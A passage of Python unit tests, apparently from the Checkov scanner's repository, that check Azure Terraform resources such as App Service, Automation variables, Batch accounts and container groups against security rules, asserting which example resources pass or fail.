os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_AppServiceHttpLoggingEnabled") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'azurerm_app_service.pass', 'azurerm_app_service.pass2', 'azurerm_app_service.pass3', 'azurerm_windows_web_app.pass', 'azurerm_linux_web_app.pass', } failing_resources = { 'azurerm_app_service.fail', 'azurerm_app_service.fail2', 'azurerm_windows_web_app.fail', 'azurerm_linux_web_app.fail', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AppServiceHttps20Enabled.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.azure.AppServiceHttps20Enabled import check class TestAppServiceHttps20Enabled(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_AppServiceHttps20Enabled") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'azurerm_app_service.pass', 'azurerm_windows_web_app.pass', 'azurerm_linux_web_app.pass', } failing_resources = { 'azurerm_app_service.fail', 'azurerm_windows_web_app.fail', 'azurerm_linux_web_app.fail', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AppServiceIdentity.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.azure.AppServiceIdentity import check class TestAppServiceIdentity(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_AppServiceIdentity") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'azurerm_app_service.pass', 'azurerm_windows_web_app.pass', 'azurerm_linux_web_app.pass', } failing_resources = { 'azurerm_app_service.fail', 'azurerm_windows_web_app.fail', 'azurerm_linux_web_app.fail', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AppServiceIdentityProviderEnabled.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.azure.AppServiceIdentityProviderEnabled import check class TestAppServiceIdentityProviderEnabled(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_AppServiceIdentityProviderEnabled") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'azurerm_app_service.pass', 'azurerm_windows_web_app.pass', 'azurerm_linux_web_app.pass', } failing_resources = { 'azurerm_app_service.fail', 'azurerm_windows_web_app.fail', 'azurerm_linux_web_app.fail', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AppServiceInstanceMinimum.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.azure.AppServiceInstanceMinimum import check class TestAppServiceInstanceMinimum(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_AppServiceInstanceMinimum") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'azurerm_service_plan.pass', } failing_resources = { 'azurerm_service_plan.fail', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AppServiceJavaVersion.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.azure.AppServiceJavaVersion import check class TestAppServiceJavaVersion(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_AppServiceJavaVersion") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'azurerm_app_service.pass', } failing_resources = { 'azurerm_app_service.fail', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AppServiceMinTLSVersion.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.azure.AppServiceMinTLSVersion import check class TestAppServiceMinTLSVersion(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_AppServiceMinTLSVersion") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'azurerm_app_service.pass', 'azurerm_windows_web_app.pass', 'azurerm_windows_web_app.pass_tls13', 'azurerm_linux_web_app.pass', 'azurerm_linux_web_app.pass_tls13', 'azurerm_linux_web_app.pass_tfvar', 'azurerm_linux_web_app.pass_tfvar2', } failing_resources = { 'azurerm_app_service.fail', 'azurerm_windows_web_app.fail', 'azurerm_linux_web_app.fail', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AppServicePHPVersion.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.azure.AppServicePHPVersion import check class TestAppServicePHPVersion(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_AppServicePHPVersion") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'azurerm_app_service.pass', } failing_resources = { 'azurerm_app_service.fail', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AppServicePlanZoneRedundant.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.azure.AppServicePlanZoneRedundant import check class AppServicePlanZoneRedundant(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_AppServicePlanZoneRedundant") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'azurerm_service_plan.pass', } failing_resources = { 'azurerm_service_plan.fail1', 'azurerm_service_plan.fail2', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AppServicePublicAccessDisabled.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.azure.AppServicePublicAccessDisabled import check from checkov.terraform.runner import Runner class TestAppServicePublicAccessDisabled(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_AppServicePublicAccessDisabled" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "azurerm_linux_web_app.disabled", "azurerm_windows_web_app.disabled", } failing_resources = { "azurerm_linux_web_app.default", "azurerm_windows_web_app.default", "azurerm_linux_web_app.enabled", "azurerm_windows_web_app.enabled", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AppServicePythonVersion.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.azure.AppServicePythonVersion import check class TestAppServicePythonVersion(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_AppServicePythonVersion") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'azurerm_app_service.pass', } failing_resources = { 'azurerm_app_service.fail', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AppServiceRemoteDebuggingNotEnabled.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.azure.AppServiceRemoteDebuggingNotEnabled import check class TestAppServiceRemoteDebuggingNotEnabled(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_AppServiceRemoteDebuggingNotEnabled") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'azurerm_app_service.pass', 'azurerm_windows_web_app.pass', 'azurerm_linux_web_app.pass', 'azurerm_linux_function_app.pass', 'azurerm_linux_function_app_slot.pass', 'azurerm_linux_web_app_slot.pass', 'azurerm_windows_function_app.pass', 'azurerm_windows_function_app_slot.pass', 'azurerm_windows_web_app_slot.pass', 'azurerm_app_service.pass2', 'azurerm_windows_web_app.pass2', 'azurerm_linux_web_app.pass2', 'azurerm_linux_function_app.pass2', 'azurerm_linux_function_app_slot.pass2', 'azurerm_linux_web_app_slot.pass2', 'azurerm_windows_function_app.pass2', 'azurerm_windows_function_app_slot.pass2', 'azurerm_windows_web_app_slot.pass2', } failing_resources = { 'azurerm_app_service.fail', 'azurerm_windows_web_app.fail', 'azurerm_linux_web_app.fail', 'azurerm_linux_function_app.fail', 'azurerm_linux_function_app_slot.fail', 'azurerm_linux_web_app_slot.fail', 'azurerm_windows_function_app.fail', 'azurerm_windows_function_app_slot.fail', 'azurerm_windows_web_app_slot.fail', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) ================================================ FILE: tests/terraform/checks/resource/azure/test_AppServiceSetHealthCheck.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.azure.AppServiceSetHealthCheck import check class TestAppServiceSetHealthCheck(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_AppServiceSetHealthCheck") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'azurerm_app_service.pass', 'azurerm_windows_web_app.pass', 'azurerm_linux_web_app.pass', } failing_resources = { 'azurerm_app_service.fail', 'azurerm_windows_web_app.fail', 'azurerm_linux_web_app.fail', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AppServiceSkuMinimum.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.azure.AppServiceSkuMinimum import check class TestAppServiceSkuMinimum(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_AppServiceSkuMinimum") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'azurerm_service_plan.pass', } failing_resources = { 'azurerm_service_plan.fail', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AppServiceSlotDebugDisabled.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.azure.AppServiceSlotDebugDisabled import check from checkov.terraform.runner import Runner class TestAppServiceSlotDebugDisabled(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_AppServiceSlotDebugDisabled" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "azurerm_app_service_slot.pass", "azurerm_app_service_slot.pass2", } failing_resources = { "azurerm_app_service_slot.fail", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], 2) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(summary["resource_count"], 6) # 3 unknown self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AppServiceSlotHTTPSOnly.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.azure.AppServiceSlotHTTPSOnly import check from checkov.terraform.runner import Runner class TestAppServiceSlotHTTPSOnly(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_AppServiceSlotHTTPSOnly" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "azurerm_app_service_slot.pass", "azurerm_linux_web_app_slot.pass", "azurerm_windows_web_app_slot.pass", } failing_resources = { "azurerm_app_service_slot.fail", "azurerm_app_service_slot.fail2", "azurerm_linux_web_app_slot.fail", "azurerm_windows_web_app_slot.fail", } skipped_resources = {} passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AppServiceSlotMinTLSVersion.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.azure.AppServiceSlotMinTLS import check from checkov.terraform.runner import Runner class TestAppServiceSlotMinTLS(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_AppServiceSlotMinTLS" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "azurerm_app_service_slot.pass", "azurerm_app_service_slot.pass2", "azurerm_app_service_slot.pass3", } failing_resources = { "azurerm_app_service_slot.fail", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(summary["resource_count"], 7) # 3 unknown self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AppServiceUsedAzureFiles.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.azure.AppServiceUsedAzureFiles import check class TestAppServiceUsedAzureFiles(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_AppServiceUsedAzureFiles") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'azurerm_app_service.pass', 'azurerm_windows_web_app.pass', 'azurerm_linux_web_app.pass', } failing_resources = { 'azurerm_app_service.fail', 'azurerm_app_service.fail2', 'azurerm_windows_web_app.fail', 'azurerm_linux_web_app.fail', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AutomationEncrypted.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.azure.AutomationEncrypted import check from checkov.common.models.enums import CheckResult class TestAutomationEncrypted(unittest.TestCase): def test_failure(self): hcl_res = hcl2.loads(""" resource "azurerm_automation_variable_string" "example" { name = "tfex-example-var" resource_group_name = azurerm_resource_group.example.name automation_account_name = azurerm_automation_account.example.name value = "Hello, Terraform Basic Test." encrypted = false } """) resource_conf = hcl_res['resource'][0]['azurerm_automation_variable_string']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_failure_no_param(self): hcl_res = hcl2.loads(""" resource "azurerm_automation_variable_datetime" "example" { name = "tfex-example-var" resource_group_name = azurerm_resource_group.example.name automation_account_name = azurerm_automation_account.example.name value = "Hello, Terraform Basic Test." } """) resource_conf = hcl_res['resource'][0]['azurerm_automation_variable_datetime']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "azurerm_automation_variable_int" "example" { name = "tfex-example-var" resource_group_name = azurerm_resource_group.example.name automation_account_name = azurerm_automation_account.example.name value = "Hello, Terraform Basic Test." encrypted = true } """) resource_conf = hcl_res['resource'][0]['azurerm_automation_variable_int']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AzureBatchAccountEndpointAccessDefaultAction.py ================================================ import os import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.azure.AzureBatchAccountEndpointAccessDefaultAction import check from tests.common.check_assertion_utils import checks_report_assertions class TestAzureBatchAccountEndpointAccessDefaultAction(unittest.TestCase): def test(self): runner = Runner() test_files_dir = Path(__file__).parent / "example_AzureBatchAccountEndpointAccessDefaultAction" report = runner.run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) passing_resources = { 'azurerm_batch_account.pass_no_publicNetworkAccess', 'azurerm_batch_account.pass_publicNetworkAccess_disabled', 'azurerm_batch_account.pass_publicNetworkAccess_enabled_no_network_profile', 'azurerm_batch_account.pass_publicNetworkAccess_enabled_no_account_access', 'azurerm_batch_account.pass_publicNetworkAccess_enabled_default_action_deny', } failing_resources = { 'azurerm_batch_account.fail_publicNetworkAccess_enabled_default_action_allow', 'azurerm_batch_account.fail_bad_default_action_no_public_network', } # then checks_report_assertions(self, report, passing_resources, failing_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AzureBatchAccountUsesKeyVaultEncryption.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.azure.AzureBatchAccountUsesKeyVaultEncryption import check from checkov.common.models.enums import CheckResult class TestAzureBatchAccountUsesKeyVaultEncryption(unittest.TestCase): def test_failure(self): hcl_res = hcl2.loads(""" resource "azurerm_batch_account" "example" { name = "testbatchaccount" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location pool_allocation_mode = "BatchService" storage_account_id = azurerm_storage_account.example.id tags = { env = "test" } } """) resource_conf = hcl_res['resource'][0]['azurerm_batch_account']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "azurerm_batch_account" "example" { name = "testbatchaccount" resource_group_name = azurerm_resource_group.example.name location = azurerm_resource_group.example.location pool_allocation_mode = "BatchService" storage_account_id = azurerm_storage_account.example.id key_vault_reference { id = "test" url = "https://test.com" } tags = { env = "test" } } """) resource_conf = hcl_res['resource'][0]['azurerm_batch_account']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.PASSED, scan_result) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AzureContainerGroupDeployedIntoVirtualNetwork.py ================================================ import unittest from pathlib import Path from checkov.runner_filter import RunnerFilter from checkov.terraform.checks.resource.azure.AzureContainerGroupDeployedIntoVirtualNetwork import check from checkov.terraform.runner import Runner class TestAzureContainerGroupDeployedIntoVirtualNetwork(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_AzureContainerGroupDeployedIntoVirtualNetwork" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "azurerm_container_group.pass", } failing_resources = { "azurerm_container_group.fail", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AzureContainerInstanceEnvVarSecureValueType.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.azure.AzureContainerInstanceEnvVarSecureValueType import check class TestAzureContainerInstanceEnvVarSecureValueType(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_AzureContainerInstanceEnvVarSecureValueType") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'azurerm_container_group.pass_1', 'azurerm_container_group.pass_2', } failing_resources = { 'azurerm_container_group.fail_1', 'azurerm_container_group.fail_2', } skipped_resources = {} passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AzureContainerInstancePublicIPAddressType.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.azure.AzureContainerInstancePublicIPAddressType import check class TestAzureContainerInstancePublicIPAddressType(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_AzureContainerInstancePublicIPAddressType") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'azurerm_container_group.pass', } failing_resources = { 'azurerm_container_group.fail_notset', 'azurerm_container_group.fail_public', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/azure/test_AzureDataExplorerDoubleEncryptionEnabled.py ================================================ import unittest import hcl2 from checkov.terraform.checks.resource.azure.AzureDataExplorerDoubleEncryptionEnabled import check from checkov.common.models.enums import CheckResult class TestAzureDataExplorerDoubleEncryptionEnabled(unittest.TestCase): def test_failure1(self): hcl_res = hcl2.loads(""" resource "azurerm_kusto_cluster" "example" { name = "kustocluster" location = azurerm_resource_group.rg.location resource_group_name = azurerm_resource_group.rg.name sku { name = "Standard_D13_v2" capacity = 2 } tags = { Environment = "Production" } } """) resource_conf = hcl_res['resource'][0]['azurerm_kusto_cluster']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_failure2(self): hcl_res = hcl2.loads(""" resource "azurerm_kusto_cluster" "example" { name = "kustocluster" location = azurerm_resource_group.rg.location resource_group_name = azurerm_resource_group.rg.name double_encryption_enabled = false sku { name = "Standard_D13_v2" capacity = 2 } tags = { Environment = "Production" } } """) resource_conf = hcl_res['resource'][0]['azurerm_kusto_cluster']['example'] scan_result = check.scan_resource_conf(conf=resource_conf) self.assertEqual(CheckResult.FAILED, scan_result) def test_success(self): hcl_res = hcl2.loads(""" resource "azurerm_kusto_cluster" "example" { name = 